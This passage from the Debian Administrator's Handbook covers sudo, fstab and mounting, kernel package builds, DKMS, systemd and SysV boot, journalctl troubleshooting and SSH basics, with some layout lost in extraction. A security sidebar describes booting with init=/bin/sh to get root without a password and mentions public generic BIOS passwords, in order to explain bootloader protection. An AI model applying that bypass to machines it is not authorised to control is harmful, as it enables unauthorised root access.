and authenticates using their personal password.
When installed, the sudo package gives full root rights to members of the sudo
Unix group. To delegate other rights, the administrator must use the visudo command, which allows them to modify the /etc/sudoers
configuration file (here again, this will invoke the vi editor, or any other editor indicated in the EDITOR
environment variable). Adding a line with
allows the user in question to execute any command as root. username
ALL=(ALL) ALL
More sophisticated configurations allow authorization of only specific commands to specific users. All the details of the various possibilities are given in the sudoers(5) man page.
BACK TO BASICS Mounting and unmounting
In a Unix-like system such as Debian, files are organized in a single tree-like hierarchy of directories. The
/
directory is called the “root directory”; all additional directories are sub-directories within this root. “Mounting” is the action of including the content of a peripheral device (often a hard drive) into the system's general file tree. As a consequence, if you use a separate hard drive to store users' personal data, this disk will have to be “mounted” in the/home/
directory. The root filesystem is always mounted at boot by the kernel; other devices are often mounted later during the startup sequence or manually with the mount command.Some removable devices are automatically mounted when connected, especially when using the GNOME, KDE or other graphical desktop environments. Others have to be mounted manually by the user. Likewise, they must be unmounted (removed from the file tree). Normal users do not usually have permission to execute the mount and umount commands. The administrator can, however, authorize these operations (independently for each mount point) by including the
user
option in the/etc/fstab
file.The mount command can be used without arguments (it then lists all mounted filesystems). The following parameters are required to mount or unmount a device. For the complete list, please refer to the corresponding man pages, mount(8) and umount(8). For simple cases, the syntax is simple too: for example, to mount the
/dev/sdc1
partition, which has an ext3 filesystem, into the/mnt/tmp/
directory, you would simply run mount -t ext3 /dev/sdc1 /mnt/tmp/.
The /etc/fstab
file gives a list of all possible mounts that happen either automatically on boot or manually for removable storage devices. Each mount point is described by a line with several space-separated fields:
This field is frequently replaced with the unique ID of the filesystem (which you can determine with blkid device
) prefixed with UUID=
. This guards against a change in the name of the device in the event of addition or removal of disks, or if disks are detected in a different order.
ext4
, ext3
, vfat
, ntfs
, btrfs
, xfs
are a few examples. BACK TO BASICS NFS, a network filesystem
NFS is a network filesystem; under Linux, it allows transparent access to remote files by including them in the local filesystem.
A complete list of known filesystems is available in the mount(8) man page. The swap
special value is for swap partitions; the auto
special value tells the mount program to automatically detect the filesystem (which is especially useful for disk readers and USB keys, since each one might have a different filesystem);
rw
or ro
, meaning, respectively, that the device will be mounted with read/write or read-only permissions. noauto
deactivates automatic mounting on boot. nofail
allows the boot to proceed even when the device is not present. Make sure to put this option for external drives that might be unplugged when you boot, because systemd really ensures that all mount points that must be automatically mounted are actually mounted before letting the boot process continue to its end. Note that you can combine this with x-systemd.device-timeout=5s
to tell systemd to not wait more than 5 seconds for the device to appear (see systemd.mount(5)). user
authorizes all users to mount this filesystem (an operation which would otherwise be restricted to the root user). defaults
means the group of default options: rw
, suid
, dev
, exec
, auto
, nouser
and async
, each of which can be individually disabled after defaults
by adding nosuid
, nodev
and so on to block suid
, dev
and so on. Adding the user
option reactivates it, since defaults
includes nouser
. 0
. When it is 1
, it tells the dump tool that the partition contains data that is to be backed up. 0
, no check is conducted. The root filesystem should have the value 1
, while other permanent filesystems get the value 2
. Exemplu 8.5. Example /etc/fstab
file
The last entry in this example corresponds to a network filesystem (NFS): the /shared/
directory on the arrakis server is mounted at /shared/
on the local machine. The format of the /etc/fstab
file is documented on the fstab(5) man page.
GOING FURTHER Auto-mounting
The am-utils package provides the amd auto-mounting utility, able to mount removable media on demand when a user attempts to access their usual mount point. It will unmount these devices when no process is accessing them any longer.
Other auto-mounting utilities exist, such as automount in the autofs package.
Note also that GNOME, KDE, and other graphical desktop environments work together with udisks, and can automatically mount removable media when they are connected.
The locate command can find the location of a file when you only know part of the name. It sends a result almost instantaneously, since it consults a database that stores the location of all the files on the system; this database is updated daily by the updatedb command. There are multiple implementations of the locate command and Debian picked mlocate for its standard system.
mlocate is smart enough to only return files which are accessible to the user running the command even though it uses a database that knows about all files on the system (since its updatedb implementation runs with root rights). For extra safety, the administrator can use PRUNEDPATHS
in /etc/updatedb.conf
to exclude some directories from being indexed.
The kernels provided by Debian include the largest possible number of features, as well as the maximum of drivers, in order to cover the broadest spectrum of existing hardware configurations. This is why some users prefer to recompile the kernel in order to only include what they specifically need. There are two reasons for this choice. First, it may be to optimize memory consumption, since the kernel code, even if it is never used, occupies memory for nothing (and never “goes down” on the swap space, since it is actual RAM that it uses), which can decrease overall system performance. A locally compiled kernel can also limit the risk of security problems since only a fraction of the kernel code is compiled and run.
NOTE Security updates
If you choose to compile your own kernel, you must accept the consequences: Debian cannot ensure security updates for your custom kernel. By keeping the kernel provided by Debian, you benefit from updates prepared by the Debian Project's security team.
Recompilation of the kernel is also necessary if you want to use certain features that are only available as patches (and not included in the standard kernel version).
GOING FURTHER The Debian Kernel Handbook
The Debian kernel teams maintains the “Debian Kernel Handbook” (also available in the debian-kernel-handbook package) with comprehensive documentation about most kernel related tasks and about how official Debian kernel packages are handled. This is the first place you should look into if you need more information than what is provided in this section.
Unsurprisingly Debian manages the kernel in the form of a package, which is not how kernels have traditionally been compiled and installed. Since the kernel remains under the control of the packaging system, it can then be removed cleanly, or deployed on several machines. Furthermore, the scripts associated with these packages automate the interaction with the bootloader and the initrd generator.
The upstream Linux sources contain everything needed to build a Debian package of the kernel. But you still need to install build-essential to ensure that you have the tools required to build a Debian package. Furthermore, the configuration step for the kernel requires the libncurses5-dev package. Finally, the fakeroot package will enable creation of the Debian package without using administrator's rights.
CULTURE The good old days of kernel-package
Before the Linux build system gained the ability to build proper Debian packages, the recommended way to build such packages was to use make-kpkg from the kernel-package package.
Like anything that can be useful on a Debian system, the Linux kernel sources are available in a package. To retrieve them, just install the linux-source-version
package. The apt-cache search ^linux-source command lists the various kernel versions packaged by Debian. The latest version is available in the Unstable distribution: you can retrieve them without much risk (especially if your APT is configured according to the instructions of Secțiune 6.2.6, „Working with Several Distributions”). Note that the source code contained in these packages does not correspond precisely with that published by Linus Torvalds and the kernel developers; like all distributions, Debian applies a number of patches, which might (or might not) find their way into the upstream version of Linux. These modifications include backports of fixes/features/drivers from newer kernel versions, new features not yet (entirely) merged in the upstream Linux tree, and sometimes even Debian specific changes.
The remainder of this section focuses on the 3.16 version of the Linux kernel, but the examples can, of course, be adapted to the particular version of the kernel that you want.
We assume the linux-source-3.16 package has been installed. It contains /usr/src/linux-source-3.16.tar.xz
, a compressed archive of the kernel sources. You must extract these files in a new directory (not directly under /usr/src/
, since there is no need for special permissions to compile a Linux kernel): ~/kernel/
is appropriate.
$
mkdir ~/kernel; cd ~/kernel
$
tar -xaf /usr/src/linux-source-3.16.tar.xz
CULTURE Location of kernel sources
Traditionally, Linux kernel sources would be placed in
/usr/src/linux/
thus requiring root permissions for compilation. However, working with administrator rights should be avoided when not needed. There is asrc
group that allows members to work in this directory, but working in/usr/src/
should be avoided nevertheless. By keeping the kernel sources in a personal directory, you get security on all counts: no files in/usr/
unknown to the packaging system, and no risk of misleading programs that read/usr/src/linux
when trying to gather information on the used kernel.
The next step consists of configuring the kernel according to your needs. The exact procedure depends on the goals.
When recompiling a more recent version of the kernel (possibly with an additional patch), the configuration will most likely be kept as close as possible to that proposed by Debian. In this case, and rather than reconfiguring everything from scratch, it is sufficient to copy the /boot/config-
file (the version is that of the kernel currently used, which can be found with the uname -r command) into a version
.config
file in the directory containing the kernel sources.
$
cp /boot/config-3.16.0-4-amd64 ~/kernel/linux-source-3.16/.config
Unless you need to change the configuration, you can stop here and skip to Secțiune 8.10.4, „Compiling and Building the Package”. If you need to change it, on the other hand, or if you decide to reconfigure everything from scratch, you must take the time to configure your kernel. There are various dedicated interfaces in the kernel source directory that can be used by calling the make target
command, where target
is one of the values described below.
make menuconfig compiles and executes a text-mode interface (this is where the libncurses5-dev package is required) which allows navigating the options available in a hierarchical structure. Pressing the Space key changes the value of the selected option, and Enter validates the button selected at the bottom of the screen; Select returns to the selected sub-menu; Exit closes the current screen and moves back up in the hierarchy; Help will display more detailed information on the role of the selected option. The arrow keys allow moving within the list of options and buttons. To exit the configuration program, choose Exit from the main menu. The program then offers to save the changes you've made; accept if you are satisfied with your choices.
Other interfaces have similar features, but they work within more modern graphical interfaces; such as make xconfig which uses a Qt graphical interface, and make gconfig which uses GTK+. The former requires libqt4-dev, while the latter depends on libglade2-dev and libgtk2.0-dev.
When using one of those configuration interfaces, it is always a good idea to start from a reasonable default configuration. The kernel provides such configurations in arch/
and you can put your selected configuration in place with a command like make x86_64_defconfig (in the case of a 64-bit PC) or make i386_defconfig (in the case of a 32-bit PC). arch
/configs/*_defconfig
TIP Dealing with outdated
.config
filesWhen you provide a
.config
file that has been generated with another (usually older) kernel version, you will have to update it. You can do so with make oldconfig, it will interactively ask you the questions corresponding to the new configuration options. If you want to use the default answer to all those questions you can use make olddefconfig. With make oldnoconfig, it will assume a negative answer to all questions.
NOTE Clean up before rebuilding
If you have already compiled once in the directory and wish to rebuild everything from scratch (for example because you substantially changed the kernel configuration), you will have to run make clean to remove the compiled files. make distclean removes even more generated files, including your
.config
file too, so make sure to backup it first.
Once the kernel configuration is ready, a simple make deb-pkg will generate up to 5 Debian packages: linux-image-version
that contains the kernel image and the associated modules, linux-headers-version
which contains the header files required to build external modules, linux-firmware-image-version
which contains the firmware files needed by some drivers (this package might be missing when you build from the kernel sources provided by Debian), linux-image-version
-dbg which contains the debugging symbols for the kernel image and its modules, and linux-libc-dev which contains headers relevant to some user-space libraries like GNU glibc.
The version
is defined by the concatenation of the upstream version (as defined by the variables VERSION
, PATCHLEVEL
, SUBLEVEL
and EXTRAVERSION
in the Makefile
), of the LOCALVERSION
configuration parameter, and of the LOCALVERSION
environment variable. The package version reuses the same version string with an appended revision that is regularly incremented (and stored in .version
), except if you override it with the KDEB_PKGVERSION
environment variable.
$
make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1
[...]
$
ls ../*.deb
../linux-headers-3.16.7-ckt4-falcot_3.16.7-1_amd64.deb
../linux-image-3.16.7-ckt4-falcot_3.16.7-1_amd64.deb
../linux-image-3.16.7-ckt4-falcot-dbg_3.16.7-1_amd64.deb
../linux-libc-dev_3.16.7-1_amd64.deb
Some modules are maintained outside of the official Linux kernel. To use them, they must be compiled alongside the matching kernel. A number of common third party modules are provided by Debian in dedicated packages, such as xtables-addons-source (extra modules for iptables) or oss4-source (Open Sound System, some alternative audio drivers).
These external packages are many and varied and we won't list them all here; the apt-cache search source$ command can narrow down the search field. However, a complete list isn't particularly useful since there is no particular reason for compiling external modules except when you know you need it. In such cases, the device's documentation will typically detail the specific module(s) it needs to function under Linux.
For example, let's look at the xtables-addons-source package: after installation, a .tar.bz2
of the module's sources is stored in /usr/src/
. While we could manually extract the tarball and build the module, in practice we prefer to automate all this using DKMS. Most modules offer the required DKMS integration in a package ending with a -dkms
suffix. In our case, installing xtables-addons-dkms is all that is needed to compile the kernel module for the current kernel provided that we have the linux-headers-* package matching the installed kernel. For instance, if you use linux-image-amd64, you would also install linux-headers-amd64.
$
sudo apt install xtables-addons-dkms
[...]
Setting up xtables-addons-dkms (2.6-1) ...
Loading new xtables-addons-2.6 DKMS files...
First Installation: checking all kernels...
Building only for 3.16.0-4-amd64
Building initial module for 3.16.0-4-amd64
Done.
xt_ACCOUNT:
Running module version sanity check.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/3.16.0-4-amd64/updates/dkms/
[...]
DKMS: install completed.
$
sudo dkms status
xtables-addons, 2.6, 3.16.0-4-amd64, x86_64: installed
$
sudo modinfo xt_ACCOUNT
filename: /lib/modules/3.16.0-4-amd64/updates/dkms/xt_ACCOUNT.ko
license: GPL
alias: ipt_ACCOUNT
author: Intra2net AG <opensource@intra2net.com>
description: Xtables: per-IP accounting for large prefixes
[...]
ALTERNATIVE module-assistant
Before DKMS, module-assistant was the simplest solution to build and deploy kernel modules. It can still be used, in particular for packages lacking DKMS integration: with a simple command like module-assistant auto-install xtables-addons (or m-a a-i xtables-addons for short), the modules are compiled for the current kernel, put in a new Debian package, and that package gets installed on the fly.
Some features are not included in the standard kernel due to a lack of maturity or to some disagreement with the kernel maintainers. Such features may be distributed as patches that anyone is then free to apply to the kernel sources.
Debian distributes some of these patches in linux-patch-* or kernel-patch-* packages (for instance, linux-patch-grsecurity2, which tightens some of the kernel's security policies). These packages install files in the /usr/src/kernel-patches/
directory.
To apply one or more of these installed patches, use the patch command in the sources directory then start compilation of the kernel as described above.
$
cd ~/kernel/linux-source-3.16
$
make clean
$
zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.0-3.17.1-201410250027.patch.gz | patch -p1
Note that a given patch may not necessarily work with every version of the kernel; it is possible for patch to fail when applying them to kernel sources. An error message will be displayed and give some details about the failure; in this case, refer to the documentation available in the Debian package of the patch (in the /usr/share/doc/linux-patch-*/
directory). In most cases, the maintainer indicates for which kernel versions their patch is intended.
A Debian kernel package installs the kernel image (vmlinuz-
), its configuration (version
config-
) and its symbols table (version
System.map-
) in version
/boot/
. The symbols table helps developers understand the meaning of a kernel error message; without it, kernel “oopses” (an “oops” is the kernel equivalent of a segmentation fault for user-space programs, in other words messages generated following an invalid pointer dereference) only contain numeric memory addresses, which is useless information without the table mapping these addresses to symbols and function names. The modules are installed in the /lib/modules/
directory. version
/
The package's configuration scripts automatically generate an initrd image, which is a mini-system designed to be loaded in memory (hence the name, which stands for “init ramdisk”) by the bootloader, and used by the Linux kernel solely for loading the modules needed to access the devices containing the complete Debian system (for example, the driver for SATA disks). Finally, the post-installation scripts update the symbolic links /vmlinuz
, /vmlinuz.old
, /initrd.img
and /initrd.img.old
so that they point to the latest two kernels installed, respectively, as well as the corresponding initrd images.
Most of those tasks are offloaded to hook scripts in the /etc/kernel/*.d/
directories. For instance, the integration with grub relies on /etc/kernel/postinst.d/zz-update-grub
and /etc/kernel/postrm.d/zz-update-grub
to call update-grub when kernels are installed or removed.
Using apt is so convenient that it makes it easy to forget about the lower-level tools, but the easiest way of installing a compiled kernel is to use a command such as dpkg -i package
.deb, where
is the name of a linux-image package such as package
.deblinux-image-3.16.7-ckt4-falcot_1_amd64.deb
.
The configuration steps described in this chapter are basic and can lead both to a server system or a workstation, and it can be massively duplicated in semi-automated ways. However, it is not enough by itself to provide a fully configured system. A few pieces are still in need of configuration, starting with low-level programs known as the “Unix services”.
This chapter covers a number of basic services that are common to many Unix systems. All administrators should be familiar with them.
When you boot the computer, the many messages scrolling by on the console display many automatic initializations and configurations that are being executed. Sometimes you may wish to slightly alter how this stage works, which means that you need to understand it well. That is the purpose of this section.
First, the BIOS takes control of the computer, detects the disks, loads the Master Boot Record, and executes the bootloader. The bootloader takes over, finds the kernel on the disk, loads and executes it. The kernel is then initialized, and starts to search for and mount the partition containing the root filesystem, and finally executes the first program — init. Frequently, this “root partition” and this init are, in fact, located in a virtual filesystem that only exists in RAM (hence its name, “initramfs”, formerly called “initrd” for “initialization RAM disk”). This filesystem is loaded in memory by the bootloader, often from a file on a hard drive or from the network. It contains the bare minimum required by the kernel to load the “true” root filesystem: this may be driver modules for the hard drive, or other devices without which the system cannot boot, or, more frequently, initialization scripts and modules for assembling RAID arrays, opening encrypted partitions, activating LVM volumes, etc. Once the root partition is mounted, the initramfs hands over control to the real init, and the machine goes back to the standard boot process.
Fig. 9.1. Boot sequence of a computer running Linux with systemd
The “real init” is currently provided by systemd and this section documents this init system.
CULTURE Before systemd
systemd is a relatively recent “init system”, and although it was already available, to a certain extent, in Wheezy, it has only become the default in Debian Jessie. Previous releases relied, by default, on the “System V init” (in the sysv-rc package), a much more traditional system. We describe the System V init later on.
ALTERNATIVE Other boot systems
This book describes the boot system used by default in Debian Jessie (as implemented by the systemd package), as well as the previous default, sysvinit, which is derived and inherited from System V Unix systems; there are others.
file-rc is a boot system with a very simple process. It keeps the principle of runlevels, but replaces the directories and symbolic links with a configuration file, which indicates to init the processes that must be started and their launch order.
The upstart system is still not perfectly tested on Debian. It is event based: init scripts are no longer executed in a sequential order but in response to events such as the completion of another script upon which they are dependent. This system, started by Ubuntu, is present in Debian Jessie, but is not the default; it comes, in fact, as a replacement for sysvinit, and one of the tasks launched by upstart is to launch the scripts written for traditional systems, especially those from the sysv-rc package.
There are also other systems and other operating modes, such as runit or minit, but they are relatively specialized and not widespread.
SPECIFIC CASE Booting from the network
In some configurations, the BIOS may be configured not to execute the MBR, but to seek its equivalent on the network, making it possible to build computers without a hard drive, or which are completely reinstalled on each boot. This option is not available on all hardware and it generally requires an appropriate combination of BIOS and network card.
Booting from the network can be used to launch the debian-installer or FAI (see Secțiune 4.1, „Installation Methods”).
BACK TO BASICS The process, a program instance
A process is the representation in memory of a running program. It includes all of the information necessary for the proper execution of the software (the code itself, but also the data that it has in memory, the list of files that it has opened, the network connections it has established, etc.). A single program may be instantiated into several processes, not necessarily running under different user IDs.
SECURITY Using a shell as init to gain root rights
By convention, the first process that is booted is the init program (which is a symbolic link to
/lib/systemd/systemd
by default). However, it is possible to pass aninit
option to the kernel indicating a different program.Any person who is able to access the computer can press the Reset button, and thus reboot it. Then, at the bootloader's prompt, it is possible to pass the
init=/bin/sh
option to the kernel to gain root access without knowing the administrator's password.To prevent this, you can protect the bootloader itself with a password. You might also think about protecting access to the BIOS (a password protection mechanism is almost always available), without which a malicious intruder could still boot the machine on a removable media containing its own Linux system, which they could then use to access data on the computer's hard drives.
Finally, be aware that most BIOS have a generic password available. Initially intended for troubleshooting for those who have forgotten their password, these passwords are now public and available on the Internet (see for yourself by searching for “generic BIOS passwords” in a search engine). All of these protections will thus impede unauthorized access to the machine without being able to completely prevent it. There is no reliable way to protect a computer if the attacker can physically access it; they could dismount the hard drives to connect them to a computer under their own control anyway, or even steal the entire machine, or erase the BIOS memory to reset the password…
Systemd executes several processes, in charge of setting up the system: keyboard, drivers, filesystems, network, services. It does this while keeping a global view of the system as a whole, and the requirements of the components. Each component is described by a “unit file” (sometimes more); the general syntax is derived from the widely-used “*.ini files“ syntax, with
pairs grouped between key
= value
[
headers. Unit files are stored under section
]/lib/systemd/system/
and /etc/systemd/system/
; they come in several flavours, but we will focus on “services” and “targets” here.
A systemd “service file” describes a process managed by systemd. It contains roughly the same information as old-style init-scripts, but expressed in a declaratory (and much more concise) way. Systemd handles the bulk of the repetitive tasks (starting and stopping the process, checking its status, logging, dropping privileges, and so on), and the service file only needs to fill in the specifics of the process. For instance, here is the service file for SSH:
As you can see, there is very little code in there, only declarations. Systemd takes care of displaying progress reports, keeping track of the processes, and even restarting them when needed.
A systemd “target file” describes a state of the system, where a set of services are known to be operational. It can be thought of as an equivalent of the old-style runlevel. One of the targets is local-fs.target
; when it is reached, the rest of the system can assume that all local filesystems are mounted and accessible. Other targets include network-online.target
and sound.target
. The dependencies of a target can be listed either within the target file (in the Requires=
line), or using a symbolic link to a service file in the /lib/systemd/system/
directory. For instance, targetname
.target.wants//etc/systemd/system/printer.target.wants/
contains a link to /lib/systemd/system/cups.service
; systemd will therefore ensure CUPS is running in order to reach printer.target
.
Since unit files are declarative rather than scripts or programs, they cannot be run directly, and they are only interpreted by systemd; several utilities therefore allow the administrator to interact with systemd and control the state of the system and of each component.
The first such utility is systemctl. When run without any arguments, it lists all the unit files known to systemd (except those that have been disabled), as well as their status. systemctl status gives a better view of the services, as well as the related processes. If given the name of a service (as in systemctl status ntp.service), it returns even more details, as well as the last few log lines related to the service (more on that later).
Starting a service by hand is a simple matter of running systemctl start servicename
.service. As one can guess, stopping the service is done with systemctl stop servicename
.service; other subcommands include reload and restart.
To control whether a service is active (i.e. whether it will get started automatically on boot), use systemctl enable servicename
.service (or disable). is-enabled allows checking the status of the service.
An interesting feature of systemd is that it includes a logging component named journald. It comes as a complement to more traditional logging systems such as syslogd, but it adds interesting features such as a formal link between a service and the messages it generates, and the ability to capture error messages generated by its initialisation sequence. The messages can be displayed later on, with a little help from the journalctl command. Without any arguments, it simply spews all log messages that occurred since system boot; it will rarely be used in such a manner. Most of the time, it will be used with a service identifier:
#
journalctl -u ssh.service
-- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. --
Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.
Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22.
Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting.
Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.
Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22.
Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2
Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)
Another useful command-line flag is -f, which instructs journalctl to keep displaying new messages as they are emitted (much in the manner of tail -f file
).
If a service doesn't seem to be working as expected, the first step to solve the problem is to check that the service is actually running with systemctl status; if it is not, and the messages given by the first command are not enough to diagnose the problem, check the logs gathered by journald about that service. For instance, assume the SSH server doesn't work:
#
systemctl status ssh.service
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago
Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)
Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255)
Main PID: 1188 (code=exited, status=255)
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.
Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
#
journalctl -u ssh.service
-- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. --
Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.
Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22.
Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting.
Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.
Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22.
Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2
Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0)
Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess".
Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a
Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess".
Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a
Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess".
Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a
Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess".
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess".
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.
Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
#
vi /etc/ssh/sshd_config
#
systemctl start ssh.service
#
systemctl status ssh.service
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago
Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)
Main PID: 1222 (sshd)
CGroup: /system.slice/ssh.service
└─1222 /usr/sbin/sshd -D
#
After checking the status of the service (failed), we went on to check the logs; they indicate an error in the configuration file. After editing the configuration file and fixing the error, we restart the service, then verify that it is indeed running.
GOING FURTHER Other types of unit files
We have only described the most basic of systemd's capabilities in this section. It offers many other interesting features; we will only list a few here:
- socket activation: a “socket” unit file can be used to describe a network or Unix socket managed by systemd; this means that the socket will be created by systemd, and the actual service may be started on demand when an actual connection attempt comes. This roughly replicates the feature set of inetd. See systemd.socket(5).
- timers: a “timer” unit file describes events that occur with a fixed frequency or on specific times; when a service is linked to such a timer, the corresponding task will be executed whenever the timer fires. This allows replicating part of the cron features. See systemd.timer(5).
- network: a “network“ unit file describes a network interface, which allows configuring such interfaces as well as expressing that a service depends on one particular interface being up.
The System V init system (which we'll call init for brevity) executes several processes, following instructions from the /etc/inittab
file. The first program that is executed (which corresponds to the sysinit step) is /etc/init.d/rcS, a script that executes all of the programs in the /etc/rcS.d/
directory.
Among these, you will find successively programs in charge of:
/etc/modules
; BACK TO BASICS Kernel modules and options
Kernel modules also have options that can be configured by putting some files in
/etc/modprobe.d/
. These options are defined with directives like this:options
. Several options can be specified with a single directive if necessary.module-name
option-name
=option-value
These configuration files are intended for modprobe — the program that loads a kernel module with its dependencies (modules can indeed call other modules). This program is provided by the kmod package.
After this stage, init takes over and starts the programs enabled in the default runlevel (which is usually runlevel 2). It executes /etc/init.d/rc 2, a script that starts all services which are listed in /etc/rc2.d/
and whose names start with the “S” letter. The two-figures number that follows had historically been used to define the order in which services had to be started, but nowadays the default boot system uses insserv, which schedules everything automatically based on the scripts' dependencies. Each boot script thus declares the conditions that must be met to start or stop the service (for example, if it must start before or after another service); init then launches them in the order that meets these conditions. The static numbering of scripts is therefore no longer taken into consideration (but they must always have a name beginning with “S” followed by two digits and the actual name of the script used for the dependencies). Generally, base services (such as logging with rsyslog, or port assignment with portmap) are started first, followed by standard services and the graphical interface (gdm3).
This dependency-based boot system makes it possible to automate re-numbering, which could be rather tedious if it had to be done manually, and it limits the risks of human error, since scheduling is conducted according to the parameters that are indicated. Another benefit is that services can be started in parallel when they are independent from one another, which can accelerate the boot process.
init distinguishes several runlevels, so it can switch from one to another with the telinit new-level
command. Immediately, init executes /etc/init.d/rc again with the new runlevel. This script will then start the missing services and stop those that are no longer desired. To do this, it refers to the content of the /etc/rc
(where X
.dX
represents the new runlevel). Scripts starting with “S” (as in “Start”) are services to be started; those starting with “K” (as in “Kill”) are the services to be stopped. The script does not start any service that was already active in the previous runlevel.
By default, System V init in Debian uses four different runlevels:
Other levels exist, especially 3 to 5. By default they are configured to operate the same way as level 2, but the administrator can modify them (by adding or deleting scripts in the corresponding /etc/rc
directories) to adapt them to particular needs. X
.d
Fig. 9.2. Boot sequence of a computer running Linux with System V init
All the scripts contained in the various /etc/rc
directories are really only symbolic links — created upon package installation by the update-rc.d program — pointing to the actual scripts which are stored in X
.d/etc/init.d/
. The administrator can fine tune the services available in each runlevel by re-running update-rc.d with adjusted parameters. The update-rc.d(1) manual page describes the syntax in detail. Please note that removing all symbolic links (with the remove
parameter) is not a good method to disable a service. Instead you should simply configure it to not start in the desired runlevel (while preserving the corresponding calls to stop it in the event that the service runs in the previous runlevel). Since update-rc.d has a somewhat convoluted interface, you may prefer using rcconf (from the rcconf package) which provides a more user-friendly interface.
DEBIAN POLICY Restarting services
The maintainer scripts for Debian packages will sometimes restart certain services to ensure their availability or get them to take certain options into account. The command that controls a service — service
service
operation
— doesn't take runlevel into consideration, assumes (wrongly) that the service is currently being used, and may thus initiate incorrect operations (starting a service that was deliberately stopped, or stopping a service that is already stopped, etc.). Debian therefore introduced the invoke-rc.d program: this program must be used by maintainer scripts to run services initialization scripts and it will only execute the necessary commands. Note that, contrary to common usage, the.d
suffix is used here in a program name, and not in a directory.
Finally, init starts control programs for various virtual consoles (getty). It displays a prompt, waiting for a username, then executes login user
to initiate a session.
VOCABULARY Console and terminal
The first computers were usually separated into several, very large parts: the storage enclosure and the central processing unit were separate from the peripheral devices used by the operators to control them. These were part of a separate furniture, the “console”. This term was retained, but its meaning has changed. It has become more or less synonymous with “terminal”, being a keyboard and a screen.
With the development of computers, operating systems have offered several virtual consoles to allow for several independent sessions at the same time, even if there is only one keyboard and screen. Most GNU/Linux systems offer six virtual consoles (in text mode), accessible by typing the key combinations Control+Alt+F1 through Control+Alt+F6.
By extension, the terms “console” and “terminal” can also refer to a terminal emulator in a graphical X11 session (such as xterm, gnome-terminal or konsole).
It is essential for an administrator to be able to connect to a computer remotely. Servers, confined in their own room, are rarely equipped with permanent keyboards and monitors — but they are connected to the network.
BACK TO BASICS Client, server
A system where several processes communicate with each other is often described with the “client/server” metaphor. The server is the program that takes requests coming from a client and executes them. It is the client that controls operations, the server doesn't take any initiative of its own.
The SSH (Secure SHell) protocol was designed with security and reliability in mind. Connections using SSH are secure: the partner is authenticated and all data exchanges are encrypted.
CULTURE Telnet and RSH are obsolete
Before SSH, Telnet and RSH were the main tools used to login remotely. They are now largely obsolete and should no longer be used even if Debian still provides them.
VOCABULARY Authentication, encryption
When you need to give a client the ability to conduct or trigger actions on a server, security is important. You must ensure the identity of the client; this is authentication. This identity usually consists of a password that must be kept secret, or any other client could get the password. This is the purpose of encryption, which is a form of encoding that allows two systems to communicate confidential information on a public channel while protecting it from being readable to others.
